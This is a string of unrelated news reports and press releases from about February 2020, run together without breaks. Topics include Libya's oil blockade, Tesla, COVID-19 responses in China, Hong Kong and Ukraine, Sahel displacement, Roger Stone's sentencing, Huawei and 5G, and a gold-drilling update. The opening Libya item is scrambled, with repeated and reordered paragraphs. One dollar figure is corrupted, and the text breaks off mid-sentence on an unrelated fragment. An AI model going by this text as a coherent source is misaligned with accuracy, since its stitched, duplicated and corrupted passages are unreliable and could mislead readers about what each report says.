Ghaddafi on February 17 eight years ago. After eight years of chaos hijacked by various militias, no one knows exactly what theyre celebrating. It is not a sustainable situation, even as the media claim that both sides in the conflict are in it for the long haul. Money will dictate otherwise. The NOC is still supplying the Central and Eastern regions with enough to meet their transport and domestic needs, though storage facilities in and around Tripoli are facing supply shortages. Last week, international media said that Libyan oil production had dropped to just under 164,000 bpd. Less than a week later, on Monday, Feb 17th, the Libyan National Oil Company (NOC) said that oil production was down to just under 136,000 bpd. That represents a financial loss of over $1.6 billion. Haftar Waiting Out Another Turkish Misstep in Libya Last week, international media said that Libyan oil production had dropped to just under 164,000 bpd. Less than a week later, on Monday, Feb 17th, the Libyan National Oil Company (NOC) said that oil production was down to just under 136,000 bpd. That represents a financial loss of over $1.6 billion. The NOC is still supplying the Central and Eastern regions with enough to meet their transport and domestic needs, though storage facilities in and around Tripoli are facing supply shortages. It is not a sustainable situation, even as the media claim that both sides in the conflict are in it for the long haul. Money will dictate otherwise. The tension on the ground this week was palpable, and more confusing than ever as Libyans celebrated the revolution that overthrew Ghaddafi on February 17 eight years ago. After eight years of chaos hijacked by various militias, no one knows exactly what theyre celebrating. It will be important to watch what Turkey does next because its in a tight spot and has overstepped in multiple venues. Its being overrun by the Syrian Army and the Russians in Syria, and its sent Syrian mercenaries (with false promises) to fight in Libya. They are not likely to represent a loyal mercenary force when they realize they wont get what they want back at home in Syria. Again, that is leverage for Haftar in Tripoli, where hes shown no signs of relaxing his offensive. The Syrian army is not likely to overpower the Turks on their own, which means that the ball is in Russias court right now. What happens in Syria next, and specifically in Idlib, will in part dictate what happens in Libya next. All the fuss on Wednesday about the Government of National Accord (GNA) withdrawing from the peace talks because Haftars forces attacked the port in Tripoli, was again - about Turkey. Haftars Libyan National Army (LNA) launched a barrage of artillery fire on the port in what it said was an attempt to destroy a vessel carrying weapons from Turkey to the GNA - a claim the Turks deny. But that denial came as Erdogan criticized the European Unions move to enforce an arms embargo on Libya. Its also lost on no one on the ground that the first-ever trip to Libya by U.S. Ambassador Norland was to visit Haftar, not the GNA or Prime Minister Sarraj. Tesla: Still Supercharging There appears to be no end to Teslas triumph these days. Wall Street this week doubled its price target because Tesla is positioning itself to become a battery supplier to other EV manufacturers. That would give Tesla two major crowns to wear, across two separate but related industries. Year-to-date, Tesla stock has flown. This week, its skyrocketed. Sure, everyones excited at the prospect of the launch later this year of the Model Y, but theres a much bigger story behind the recent price target upgrades. A Piper Sandler analyst mid-week put a 12-month price target of $928 on Tesla. That was a huge jump from the analysts earlier target of $729. Why? Precisely because of energy. The huge price target on Tesla indicates that someone is paying attention and realizes that Tesla isnt just about EVs (and even ignoring the solar ups and downs): Tesla is about energy, batteries and energy storage. Not only does Piper Sandler see a $165-billion annually solar roof business, but it sees another $70-billion market for Teslas Powerwall energy storage batteries. It also could end up not just being the king of EVs, but the king of batteries and the supplier to everyone else. Thats a lot of crowns to wear, and theyre all quite lucrative - especially when you consider the mega-trend of investing in environmentally friendly endeavors. In breaking news, Tesla just got another boost for its German battery factory late on Thursday, when a German court threw out an injunction that was keeping Tesla from clearing trees for its factory near Berlin. Medical workers in Zhongnan Hospital of Wuhan University in Wuhan,central China's hubei Province on January 24, 2020. (Photo/Xinhua) US health experts laud the country for limiting the worldwide spread of COVID-19 Confronted with an "unprecedented" outbreak of the novel coronavirus, China has done a "remarkable" job in limiting the spread of the disease, said leading experts in the US. "China has done extraordinary things to mostly contain the virus within Hubei and central China," said Peter Hotez, dean of the National School of Tropical Medicine at Baylor College of Medicine in Houston, Texas, to China Daily. "They recognize their responsibility to the world as well as to the people of China and have worked hard to contain this virus." Hotez said that it's "almost impossible" to contain a highly contagious virus, like the novel coronavirus (COVID-19), without a vaccine, but China has made progress. China has reported a steady decline in the growth rates of confirmed infections, suspected cases and patients under medical observation, except for Hubei province, the epicenter of the epidemic. "It's pretty much unprecedented. No one has attempted something like this in history to my knowledge," said Arthur Reingold, an epidemiologist at the University of California, Berkeley, referring to the China's quarantine measures. "In many countries it would be impossible to even try." "It's very difficult to sit somewhere else and say somebody would have done a better job. We just don't have enough information to say that things might have gone faster. I'm not convinced to that," Reingold told China Daily. "The willingness to use police and military and impose controls is perhaps stronger than in many countries, so I think what they are doing is remarkable." Reingold's remarks were echoed by William Schaffner, medical director of the Washington-based National Foundation for Infectious Diseases and a professor at Vanderbilt University's School of Medicine in Nashville, Tennessee. He said China's response to the COVID-19 epidemic has been "remarkable" in several respects. "The first, of course, was the response of the scientists, the molecular biologists who very quickly made the diagnosis of a novel coronavirus," said Schaffner in a phone interview. "And then they sequenced the genome so very rapidly and precisely and then shared that information with the world. That was just wonderful." "The Chinese government and the Ministry of Health then did something that has stunned the world," he said. "I remain amazed at the very large quarantine that has been put in place in Wuhan and Hubei province. The goal of that was to reduce the spread of the virus." "No similar activity, no similar controlled measure of this size has ever been done in the history of the world," said Schaffner. "So this is just an extraordinary attempt to limit the spread within China and to the rest of the world." He also stressed the importance of communication and international cooperation in tackling global health emergencies. By working internationally with experts, any country can do a better job and learn about new infectious disease threats, said Schaffner, adding that scientists are still having a difficult time determining how effective the quarantine has been so far. Recognizing the enormous pressure on the local healthcare system, Hotez said he feels very sad for the people of Wuhan and its surrounding area, which have suffered a lot because of the virus. Experts: Disease measures praised " As a physician-scientist, I'm inspired by the heroism of so many Chinese physicians, nurses and healthcare workers who have risked their lives in Wuhan and nearby cities. This is an inspiration for all us all," said Hotez. "In the memory of the Chinese doctors and healthcare workers who gave their lives to help others in this epidemic, we are dedicating our vaccine institute (Texas Children's Center for Vaccine Development at Baylor College of Medicine) to developing coronavirus vaccines," he said. The institute is currently developing a second generation COVID-19 vaccine. It has manufactured a vaccine that was developed to combat SARS but an partially protect healthcare workers from COVID-19, according to Hotez. "We could begin clinical testing in China if there's interest," he said. HONG KONG, Feb. 20 (Xinhua) -- Chief Executive of the Hong Kong Special Administrative Region (HKSAR) Carrie Lam said Thursday that she hopes the anti-epidemic fund set by the government will benefit embattled tech startups amid the outbreak of the novel coronavirus. During a visit to the Hong Kong Science Park, Lam said the business environment of technology enterprises, particularly startups, has become difficult since the second half of last year and the recent epidemic has even worsened the situation. In response, the HKSAR government proposed to use the fund to provide tenants and startups at the Hong Kong Science Park, industrial estates and Cyberport a six-month rental waiver, with about 1,800 tenants expected to benefit from it, she said when meeting heads of some startups. Lam said she hopes the measure will help retain innovation and technology (I&T) capability and talent, enabling Hong Kong to relaunch the sector's development down the road, adding that the government will consider rolling out more support measures. Lam said the fund also proposed to provide subsidy to participants and organizers of exhibitions and conventions, and she believed the I&T industry will also benefit from the initiative. She added that she looks forward to the early passage of the funding application of the anti-epidemic fund by the Finance Committee of the Legislative Council. During the visit, Lam also learned about the research and development of the Logistics and Supply Chain MultiTech R&D Center which had developed and produced nearly 2,000 electronic wristbands to monitor whether people under compulsory quarantine are staying at their dwelling places. Shakespeare's Birthplace in Henley Street, Stratford-upon-Avon. Photo: Mark Williamson. THE first detailed figures have emerged of the possible impact of coronavirus on tourism in the Stratford area with bad weather also having had an impact. The Shakespeare Birthplace Trust (SBT) has revealed visits to its properties have fallen by 15 per cent over a recent fortnight, compared with last year. In a statement it said: In the two weeks 27/01 - 09/02 the drop in visits (not visitors) compared to this time last year (2019) is around 15 per cent. The majority of cancellations are tour operator bookings, although its worth bearing in mind Storms Ciara and Dennis also impacted on those numbers. Each year we welcome around 850,000 visitors to the five Shakespeare houses under our care. Visitors from China account for 5 per cent. Head of sales and business development, Debbie Beardall said the Trust continued to monitor coronavirus and its possible impact on a daily basis. We are receiving regular updates through VisitBritain, the official tourist board of Great Britain, and are advised that the risk to the UK population remains low. Full story in this weeks Herald. A displaced woman cooks food at a relative's house in Kaya, Burkina Faso. UNHCR/Sylvain Cherkaoui UNHCR, the UN Refugee Agency, and partners are facing severe challenges in accessing and responding to the needs of the internally displaced people and refugees scattered throughout the Sahel region, as attacks against civilians grow in number and frequency. In Burkina Faso, the latest attacks by militants on civilians and local authorities have been forcing a daily average of more than 4,000 people to flee their homes and search for safety since 1 January. So far, 765,000 people have already been displaced more than 700,000 in the last 12 months. This is a 16-fold increase compared to January 2019. An estimated 150,000 people have fled in the last three weeks alone. People fleeing the violence report attacks on their villages by militant groups, killing, raping, pillaging. Terrified of these attacks, residents have left everything behind to find safety. Over 4,400 refugees from Niger have arrived in Mali, fleeing recent string of attacks in Tillaberi and Tahoua regions, including an attack in early January in the town of Chinagodar. Refugees have found safety in the Malian towns of Anderamboukane and Menaka. They have joined another 7,700 displaced Malians in the same area. More people continue to cross the border between Niger and Mali. In Niger, over 11,000 fled unsafe border areas and found refuge in several towns further south, where assistance is being provided. The regions of Tillaberi and Tahoua currently host 58,000 refugees from Mali and 82,000 internally displaced. Further north, in Mali, following the latest attack against the village of Ogossagou on 14 February, where 30 inhabitants were killed, the population is scared and eager to flee to a safer place. A monitoring mission by UNHCR partners assessed their most immediate needs. Prior to the attack, people from neighbouring villages had already found shelter in Ogossagou, despite the village having been attacked in March last year and 160 of its inhabitants massacred. Also fleeing Malis central region of Segou and Niono, 1,000 Malians refugees crossed into Mauritania in the past ten days, a noticeable increase from the weekly average of fifty refugees who usually originate from Northern Mali. Everywhere in the region, survivors of attacks, those forced to flee within their country and refugees need safety, shelter, food and water. Clothing and other basic items, including dignity kits for for women and girls, are also urgently needed. Access to sanitation, to health, including psychosocial support for those who have fled or witnessed atrocities, are also priorities. The response is also aimed at host communities, as they often are the first responders despite being impoverished themselves. Alarmed by the dramatic rise of forced displacement in the Sahel, UNHCR reiterates its call for the protection of civilian populations and those fleeing violence. Humanitarians need safe access to deliver assistance. We are already scaling up our response to the crisis, providing protection, emergency supplies for those forced to flee and communities hosting them, with an additional focus on shelter, education, sexual and gender-based violence. For more information on this topic, please contact: By Trend Azerbaijan's Central Election Commission (CEC) looked into the appeal in connection with the 107th Gazakh constituency during the CEC meeting on Feb. 20, Trend reports. It was noted that the received complaint reported offenses at several polling stations. However, CEC member Bakhsheysh Asgarov said that violations were detected only at one polling station, as the result of investigation conducted by the commission. Asgarov said that legal grounds formed for the annulment of the voting results from the second precinct and proposed to declare the election results for this precinct invalid. The proposal was accepted after the vote. The CEC also considered the appeal related to the 57th Kurdamir constituency. It was noted that the received complaint reported violations in a number of polling stations. CEC member Ilkin Shahbazov noted that offenses were revealed in five precincts following the investigation conducted by the commission. Shahbazov added that this gives legal grounds for canceling the voting results from the 7th, 18th, 20th, 27th, 33rd precincts. Shahbazov proposed to declare the election results of these precincts invalid. The proposal was accepted after the vote. The Central Election Commission looked into the appeal of the candidate from the 23rd Nasimi-Sabail constituency as well. CEC member Gabil Orujov noted that the candidate reported a violation of his rights on election day. An investigation was carried out on the appeal, and as a result, violations were detected in four precincts. Gabil Orujov proposed to declare the voting results in four (14th, 17th, 23rd and 25th) precincts invalid. The proposal was accepted by a majority vote. --- Follow us on Twitter @AzerNewsAz Flash Roger Stone, U.S. President Donald Trump's longtime confidant, was sentenced on Thursday to 40 months in prison for lying to Congress and witness tampering during former special counsel Robert Mueller's Russia probe. It came after days of controversy surrounding the Justice Department's decision to lessen the sentence after the president tweeted about his displeasure with the gravity of the original sentence recommendation. "Mr. Stone lied," U.S. District Judge Amy Berman Jackson said in court. Stone chose not to speak when given the opportunity. Jackson sharply questioned the new attorney for the prosecution, John Crabb Jr. of the D.C. U.S. Attorney's Office, over the Trump administration's sentencing reversal. Crabb said he was not authorized to discuss internal department deliberations in open court, while praising the original prosecution team and insisting that the Justice Department is committed to doing its job without "fear or favor." In November 2019, a federal court jury found Stone guilty of lying to a House committee about his efforts to find out what WikiLeaks planned to do with hacked emails dealing with Trump's Democratic rival Hillary Clinton during the 2016 U.S. presidential election. The jury concluded that Stone also urged a radio host to lie to Congress about their WikiLeaks conversations. Stone was not charged with any underlying crime of coordinating with Russia during the 2016 U.S. presidential election, although Mueller's team investigated Stone over tweets claiming to be in touch with WikiLeaks founder Julian Assange. The sentence is sure to increase speculation that Trump will pardon Stone, a report by TheHill predicted. Since Stone's lawyers submitted a sealed motion last week seeking for a new trial, Jackson said Thursday's sentence will be delayed from going into effect until after the motion is settled. Career federal prosecutors initially recommended a prison sentence of seven to nine years last week. Hours after Trump tweeted his displeasure, however, Attorney General William Barr intervened and directed the Justice Department to submit a new court filing, saying a three-to-four-year sentence would be "more in line with the typical sentences imposed" in similar cases. Four prosecutors resigned in protest afterwards and Barr has been under fire on allegations of "misuse of the criminal justice system" since then. A person threw a stone at a police van in Novi Sanzhary, Ukraine, on Thursday. REUTERS/Valentyn Ogirenko A crowd of Ukrainian protesters on Thursday attacked buses ferrying evacuees from Wuhan, China, to a quarantine hospital. The buses were transporting 45 Ukrainians and 27 foreign nationals through Novi Sanzhary in central Ukraine. Nobody on board has been confirmed to have the novel coronavirus. They are being taken to a two-week quarantine as a precaution. Ukrainian President Volodymyr Zelensky asked the protesters to show empathy, saying, "We are all human." Visit Business Insider's homepage for more stories. A crowd of Ukrainians ambushed and attacked a fleet of buses transporting 72 evacuees from Wuhan, China, to a coronavirus quarantine hospital in Ukraine. On Thursday morning, 45 Ukrainians and at least 27 nationals from South American countries landed at Kharkiv International Airport, in the central region of Poltava, after departing from Wuhan. They took buses from the airport to a hospital in Novi Sanzhary. As they neared their destination they were set upon by dozens of protesters who had blocked a bridge and put burning tires in the road, according to Reuters. The crowd then began hurling stones and bricks. A smashed window on one of the buses. Reuters At least three buses had their windows smashed. Hundreds of armed police officers intervened to push back the protesters, and the buses were eventually able to pass and reach the quarantine. Some of those aboard the buses waved Ukrainian flags in an attempt to plead for solidarity, according to Agence France-Presse. As they clashed with the police, protesters chanted "shame on you" at the officers trying to prevent their attack. Ukrainian President Volodymyr Zelensky pleaded for the protesters to show empathy. He said "we are all human," according to AFP. "Most of the passengers are people under 30," Zelensky said. "They are almost like children to many of us." Demonstrators on Thursday protested the arrival of a plane carrying evacuees from China's Hubei province. REUTERS/Valentyn Ogirenko None of those on board have been confirmed to have the virus, the BBC said, citing Ukraine's health ministry. Story continues Interior Minister Arsen Avakov arrived at the scene and tried to calm protesters. "We are not talking about infected people we are talking about healthy people," he told a crowd, according to reports. "So far," one of the protesters replied. Health Minister Zoryana Skaletska wrote on Facebook that she would be joining them in quarantine as a show of solidarity. Members of Ukraine's National Guard on Friday closing the gate of a sanatorium where the evacuees from the coronavirus-hit Hubei province were quarantined. REUTERS/Valentyn Ogirenko "I hope that my presence there will calm those in Novi Sanzhary, as well as the rest of the country," she said. "I want to emphasize: These people are our fellow citizens, they are not strangers to us. We live in the same country and we have to take care of their health and safety." Ukraine is yet to record a confirmed case of COVID-19. More than 2,200 have died of the disease, with more than 76,000 recorded infections, the vast majority in China. The protests appear to have been fuelled in part by a fake email purportedly from the health ministry which claimed that there were coronvirus cases in Ukraine. "Attention! The reports about five confirmed cases of COVID-19 coronavirus in Ukraine are UNTRUE," the Center for Public Health said in a statement. The email, which according to BuzzFeed News was sent to the Ministry of Health's entire contact list, originated from outside Ukraine, according to the Security Service of Ukraine (SBU.) Read the original article on Business Insider Airlines have canceled more than 200,000 flights as the coronavirus continues to spread, prompting travel restrictions and a sharp drop in demand for trips to and within China. More than 76,700 people have been sickened by the virus, which has killed at least 2,249 people, health officials said. Close to 98% of the reported cases are in China but some officials are worried about a crop of new infections elsewhere, including Iran and South Korea. Airlines around the world, including the three U.S. carriers that serve China Delta, United and American have halted service to the mainland and Hong Kong because of the virus. In February alone, the number of flights that were scheduled to fly to, from and within China are down 80% from a year ago, according to aviation consulting firm Cirium. From Jan. 23 to Feb. 18, 99,254 scheduled flights didn't fly, close to 90% of them domestic China trips, the firm added. That's sending jet fuel prices, generally airlines' second-biggest expense after labor, down sharply. While benchmark jet fuel prices in the U.S. and Singapore have recovered some ground from hitting the lowest levels since mid-2017, they're each down 17% so far this year, according to data from S&P Global Platts. "Pent-up demand" may help firm up prices in the second half of the year but "2020 is compromised as far as jet [fuel] demand is concerned," said S&P Global Platts energy analyst Claudio Galimberti. Normally, lower costs would be welcome news for airlines, but weaker demand is expected to hit revenue and profits this year. The Asia-Pacific air travel market has become more important since the SARS outbreak that began in 2002. The region accounted for 35% of global demand last year, up from 27% in 2002, the trade group said. China is expected to overtake the U.S. as the world's largest air travel market by the middle of this decade. Air travel demand globally is set to fall for the first time since 2009 and cost airlines some $29 billion mostly in the Asia-Pacific region in revenue, the International Air Transport Association said Thursday. Airlines are starting to assess the financial damage. Australia's Qantas warned investors on Thursday that the coronavirus would likely shave off up to $150 million Australian dollars ($99.5 million) from its earnings in the second half of the year and that it would cut 16% of its Asia flights until the end of May. The airline had already suspended its China flights. "The coronavirus outbreak has dampened the modest recovery in [domestic} demand seen in the second quarter with intakes falling over the last few weeks," Qantas CEO Alan Joyce said on an earnings call. "The leisure market is also soft in the near term, but there is the potential for a shift to domestic leisure if uncertainty grows and Australians decide to holiday at home." Air France-KLM, which also suspended China flights, said it expects coronavirus-related demand reductions to drive down results through April by up to 200 million euros ($217 million). Subscriber content preview ANACORTES (AP) The Elwha ferry will be retired from service if the state Legislature cuts funding for it, a move that would impact the Anacortes to Sidney, British Columbia, route and further strain the Washington State Ferries system. The Skagit Valley Herald reports Gov. Jay Inslee's supplemental budget does not include funding to operate the 52-year-old Elwha, which is out of service and in need of repairs, said State Ferries spokesperson Ian Sterling. . . . Plans by the United States to create a 5G rival to Huawei could be a "challenge," one of the Chinese firm's top executives told CNBC, amid growing calls from American lawmakers to find alternatives for its next-generation networks. 5G refers to next-generation mobile infrastructure that promises super-fast data speeds and the ability to underpin some future critical infrastructure. Washington has maintained that Huawei is a national security risk alleging that Beijing could use the company's equipment for espionage. Huawei has repeatedly denied those claim. Beyond just relying on Ericsson and Nokia, the U.S. has also looked to finding alternatives to Huawei's networking equipment. In an interview with CNBC, Paul Scanlan, chief technology officer of Huawei's networking business, explained that the technical standards and actual implementation of 5G have taken about 10 years to create. "So the U.S. will do what the U.S. does ... that's a very very long game and that has its own sort of complexity built into (it) and Huawei has been addressing and looking at those things ourselves," Scanlan said. When asked if the U.S. could create a new alternative to Huawei quickly, Scanlan said: "It would be a challenge." Republican Sen. Marco Rubio and a group of bipartisan lawmakers introduced a bill earlier this year "providing over $1 billion to invest in Western-based alternatives to Chinese equipment providers Huawei and ZTE." Meanwhile, Larry Kudlow, the White House's economic advisor, said in an interview with the Wall Street Journal that the "big-picture concept is to have all of the US 5G architecture and infrastructure done by American firms, principally." He added that Ericsson and Nokia could be a part of that. Creating an alternative In the U.K., Tobias Ellwood, chair of the House of Commons Defence Select Committee, said the Five Eyes an intelligence alliance between Australia, Canada, New Zealand, the U.K. and the U.S. should develop its own Huawei rival. "What I think we need to recognise is that if we do allow Huawei in temporarily, we need to quickly create an alternative, which doesn't exist at the moment. So you look at Cisco, Ericsson, Nokia, you need to get these companies together with some international state funding to create our own 5G capability," the lawmaker said in a recent interview with Global Defence Technology magazine. U.S. lawmakers including Rubio have called for the government to back an open source 5G architecture. The result, they claim, would allow new players to enter the networking equipment game for specific components rather than competing with Huawei in the entire architecture. The one key thing is perhaps the U.S. has ... underinvested in this area of technology. Paul Scanlan chief technology officer of Huawei's networking business The head of the World Health Organisation warned on Friday that the window of opportunity to stem the spread of the coronavirus was shrinking. "Our window of opportunity is narrowing, and that's why we called (on) the international community to act quickly, including the financing," Tedros Adhanom Ghebreyesus told a conference in Geneva, adding: "That's not what we see. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) CHARLOTTE, N.C., Feb. 20, 2020 /PRNewswire/ -- The U.S Department of Labor has recognized Mako Medical with a Medallion Award for hiring veterans. Mako Medical has spent years building programs designed and tailored for veterans and National Guard members. "Mako Medical has carved out entire divisions of the company that only hire military veterans," says Chad Price, CEO of Mako Medical. The Honoring Investments in Recruiting and Employing American Military Veterans Act 2017 (HIRE Vets Act or the Act) was signed by President Trump and requires the Secretary of Labor to establish a program, by rule, that recognizes employer efforts to recruit, employ and retain veterans. The criteria for winning the award included the number of veterans hired, the number of veterans retained for at least 12 months, the number of new hires that were veterans, training programs implemented to help veterans, leadership opportunities during employment for veterans and special programs built for veterans employed at the company. "America's veterans are proven leaders who bring skills, dedication, and determination to our nation's workforce," said the U.S. Secretary of Labor. "To earn a Hire Vets Medallion Award, job creators must demonstrate a solid commitment to providing veterans with the opportunity to build a meaningful career. This program recognizes a standard for excellence in veterans hiring, and helps veterans identify employers who are committed to advancing veterans in the workplace." Mako Medical was recognized in Washington, D.C. for all of the veteran programs Mako has built within the company. "From day one, our team decided we were going to carve out entire divisions of Mako and only hire military veterans," said Price. Today, Mako Medical employs hundreds of veterans and has built training programs, recruiting programs and leadership programs for the veterans on the team. "Our entire team made a commitment to focus on these types of programs from the start. We knew what our veterans needed most was a job and opportunity to be successful." Chad Price went on to explain that the entire purpose behind the creation of Mako Medical was to create funding for local nonprofits/charities, to employ military veterans and to support Christian missionaries around the world. "It is why we do what we do. Some companies are focused on shareholder value. Others are focused on returns for their investors. We are focused on making an impact in other people's lives. The more we grow, the more people we can help. The more revenue we have, the more funding we have to work with." Today, Mako Medical supports over 472 different charities around the country, employs hundreds of veterans, and is active with many nonprofits. Mako Medical has recently launched a new company called MakoRx focused on Pharmacy services and hiring veterans. [email protected] Related Images image1.jpeg Related Links http://makomedical.com SOURCE Mako Medical Participants in a Church-backed anti-Citizenship Amendment Act rally in Panaji in Goa on Friday resolved not to cooperate with government agencies for the National Population Register and Census 2021 enumeration exercises. Over 15,000 people took part in the rally, organised by the 'Goa Alliance Against CAA-NRC-NPR' and backed by Centre for Social Justice and Peace (CSJP), a wing of Goa Church, at Azad Maidan here. "We pledge that till the CAA-NPR-NRC is withdrawn, we will not furnish any information whatsoever for the purposes of NPR or for Census 2021," read the resolution adopted at the rally. Nabila Hassan, who fought Jamia Milia Islamia case in the High Court and JMI student Ayesha Renna addressed the gathering while JNU student Rahul Sonpimple was the guest speaker. "We the people gathered at the rally organised by Goa Alliance Against CAA-NRC-NPR, at Azad Maidan, Panaji, Goa, on February 21, 2020, firmly resolve to ensure our Constitution and our laws shall always be founded and continue to be founded on the principles of justice, equality, secularism, socialism, democracy," the resolution read. Therefore, we are against any form of discrimination, directly or indirectly, on grounds of religion, caste, gender, class, sexual orientation, ability, age, occupation, it added. The speakers also raised concern over "arbitrary cancellation" of Overseas Citizen of India cards and pointed out that Goa had a large number of such card-holders. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) You dont get much more Australian than this. Ned Kellys girlfriend, riding Phar Lap, which has just deposited a pile of golden nuggets. Melbourne artist Jacqui Stockdale gets that its funny. Its intended to be. Melbourne-based contemporary artist Jacqui Stockdale has an upcoming exhibition of sculpture called The Long Shot. Credit:Justin McManus But look again, she says. Ive called it Such is Love. Shes a message. I dont want to use the word powerful. But its absurd. Ned Kellys absurd. This is summing up Australia. A new study found an inverse association between socioeconomic status and certain kidney diseases. The findings appear in an upcoming issue of CJASN. Social deprivation is a known risk factor for chronic kidney disease in general, but its potential link to glomerular diseases-;autoimmune-type diseases that damage the filtering system of the kidneys-;is less clear. To investigate, Mark Canney, PhD, Sean Barbour, MD, MSc (University of British Columbia and BC Renal), and their colleagues examined clinical and census-related information from 2000 to 2012 that pertained to all new cases of glomerular diseases called membranous nephropathy (392 cases), IgA nephropathy (818 cases), focal segmental glomerulosclerosis (FSGS, 375 cases), ANCA-related glomerulonephritis (ANCA-GN, 387 cases), and lupus nephritis (389 cases) in British Columbia, Canada. "Glomerular diseases are complex conditions that require access to specialized care and expensive therapies, all of which may be more challenging for patients with a lower socioeconomic position. Also, they tend to affect people at a younger age and can thus negatively impact an individual's earning capacity," said Dr. Canney. He noted that although the underlying mechanism of disease is known for several glomerular diseases, what drives the onset of disease is poorly understood. "Therefore, an improved understanding of the potential contribution of socioeconomic position to different glomerular diseases could generate ideas for future research into factors that may directly cause glomerular disease." The team's analysis revealed that the incidence of lupus nephritis and ANCA-GN increased steadily with progressively lower income (based on area-level household income). For example, compared with those with the highest level of income, those with the lowest level of income had a 70% higher incidence of lupus nephritis and a 50% higher incidence of ANCA- GN. For ANCA-GN, the condition occurred in 71 per 10 million people per year in the highest income group and 106 per 10 million people per year in the lowest income group. For lupus nephritis, the rates were 106 per 10 million people per year in the highest income group and 181 per 10 million in the lowest income group. For FSGS, a disproportionately higher incidence of disease was seen only in the lowest income group. In contrast, no significant association was demonstrated for either IgA nephropathy or membranous nephropathy. Our results will help future studies that are designed to identify the underlying cause of glomerular disease and that may be related to socioeconomic position. Our findings also emphasize the importance of identifying vulnerable populations of people who are at increased risk of developing these severe forms of kidney disease." Dr. Mark Canney, University of British Columbia and BC Renal An accompanying editorial notes that "clinicians and investigators should have a renewed focus on socioeconomic position when evaluating patients with suspected glomerular disease, determining recruitment populations for clinical trials, or designing observational studies aimed at identifying risk factors for glomerular disease onset." The accused assisted the illegal immigration of 67 people to the UK and Europe. On 23 October, British authorities found the bodies of 39 people in a refrigerated lorry. Hanoi (AsiaNews/Agencies) Vietnamese police have charged seven people in connection with the death of 39 Vietnamese migrants in the United Kingdom. On 23 October 2019, British authorities found their bodies in the trailer of an articulated refrigerator lorry in Essex, east of London. The victims, including two 15-year-old boys, hailed mainly from two provinces of north-central Vietnam, where poor job prospects, debts, and persecution are driving young people to migrate, illegally if need be. Last night, seven individuals, including a Vietnamese woman living in China, were charged with creating immigration profiles for 67 people from different parts of Vietnam to encourage illegal work in the UK and Europe, Ha Tinh regional police said in a statement. Police cited the case of 26-year-old Pham Thi Tra My (picture 2), one of the victims found in the lorry. They contacted the victim in late June 2019 and charged her US,000 to create immigration profiles," the statement said. "The victim in September was then taken to China, France and the UK. Police explained that their investigation would be expanded, but did not give details on any court appearance by those charged. Prosecutors are also at work in Europe. On 9 February, British police arrested a 22-year-old man from Northern Ireland on charges of manslaughter and aiding illegal immigration. Gheorghe Nica, 43, from Essex, was arrested at Frankfurt airport (Germany) on 29 January under a European arrest warrant. He is accused of the manslaughter of 39 people. Lorry driver Maurice Robinson, 25, from Craigavon (Northern Ireland), is awaiting trial on the same charges. Britain is also waiting for the extradition of a second Northern Irish truck driver, 23-year-old Eamonn Harrison, from the Republic of Ireland. Exceptional High-Grades from Wiluna Sulphides Project Perth, Feb 21, 2020 AEST (ABN Newswire) - Blackham Resources Limited ( ASX:BLK ) ( FRA:NZ3 ) ( OTCMKTS:BKHRF ) is pleased to report on positive results from reserve development drilling designed to expand and upgrade reserves ahead of Stage 1 sulphides production at the Wiluna gold project. Drilling has commenced targeting high-grade zones anticipated to be mined early in the mine plan, which are located close to surface and close to existing underground infrastructure to allow for rapid development.Highlights- First results from Sulphide Reserves expansion drilling:WURC0802: 26m @ 15.69g/t from 182m- Major reserve drilling program commenced to upgrade and extend the Stage 1 sulphide mine plan.- Golden Age free-milling underground exploration continues:GAGC0283: 0.84m @ 74.90g/t from 33.50mGAGC0297: 1.44m @ 52.13g/t from 18.03mGAGC0298: 2.55m @ 24.06g/t from 29.50mSulphide reserves infill drilling commenced at the Essex zone at Wiluna, with 8 holes for 1,589m completed. Initial results include an outstanding intercept of 26m @ 15.69g/t from 182m in WURC0802. This result reflects that Wiluna has historically been a high-grade mine, and drilling continues to produce very high-tenor results in shallow areas that can readily be developed.RC drilling has also progressed to drilling of the company's very large inferred sulphide resource at the Bulletin zone, and to testing modelled locations for the discovery of high-grade gold shoots as outlined in the ASX release dated 23rd January 2020. Further results are expected in the coming weeks.Stage 1 Sulphide Reserve DevelopmentBlackham is pleased to provide an update of programs to infill and extend Stage 1 sulphide reserves ahead of the commencement of mining in mid-2020 (see ASX release dated 23rd December 2019).Drill programs are designed to:- Expand and upgrade inferred and indicated resource areas- Discover new high-grade shoots in modelled structural locationsBlackham's Stage 1 sulphide expansion project will see underground production ramp up through FY 2021 to 100-120,000oz per annum over an initial 6-year underground mine plan. Wiluna is endowed with a large underground sulphide resource that currently stands at 18.5Mt @ 4.82 g/t for 2.9Moz, including 1.7Moz (58%) in the inferred category, which presents the company with substantial reserve conversion and life-of-mine extension opportunities.Blackham's strategy is to target high-grade +5g/t shoots on the main mineralised structures at Wiluna, which have a combined strike length of 7.5km and host most of the Wiluna sulphide resources and reserves. High-grade shoot discoveries within 300m of surface could be quickly brought into the mine plan as substantial mine development already exists including 5 access declines. Further, only limited drilling has occurred in the modelled shoot positions and at depths greater than 500m below surface.Figures 1 & 2* show latest results from drilling aimed at enhancing the grade and confidence category of resources within the current mining inventory at the Essex zone. Essex is to be developed early in the mine plan owing to its shallow depth and location close to existing infrastructure that requires minimal dewatering and rehabilitation to access high-grade ore.Free-Milling Mine Extension DrillingThe Company also continues to extend the high-grade free-milling Golden Age orebody to sustain or increase production over the next 12-18 months. Phase 1 drilling at Golden Age has comprised a further 8 holes for 412m targeted at the 1148 level of the mine, with results presented herein confirming both the continuity and strong gold mineralisation within the Golden Age footwall ore lens (Figure 5*). Figures 6* & 7* show photographs of high-grade quartz reef intersections in GAGC0297 (1.44m @ 52.13g/t) and GAGC0298 (2.55m @ 24.06g/t).Phase 2 drilling at Golden Age will commence later this month with the arrival of a second rig on site to begin drilling down-plunge extensions to Golden Age between the 775 and 650 levels. The Phase 2 program will cover further extensional targets around Golden Age as outlined in the ASX release dated 13th November 2019.* To view tables and figures, please visit:About Wiluna Mining Corporation Ltd Wiluna Mining Corporation (ASX:WMC) (OTCMKTS:WMXCF) is a Perth based, ASX listed gold mining company that controls over 1,600 square kilometres of the Yilgarn Craton in the Northern Goldfields of WA. The Yilgarn Craton has a historic and current gold endowment of over 380 million ounces, making it one of most prolific gold regions in the world. The Company owns 100% of the Wiluna Gold Operation which has a defined resource of 8.04M oz at 1.67 g/t au. In May 2019, a new highly skilled management team took control of the Company with a clear plan to leverage the Wiluna Gold Operation's multi-million-ounce potential. See Full Image Gallery >> Update: Per the official Hot Wheels 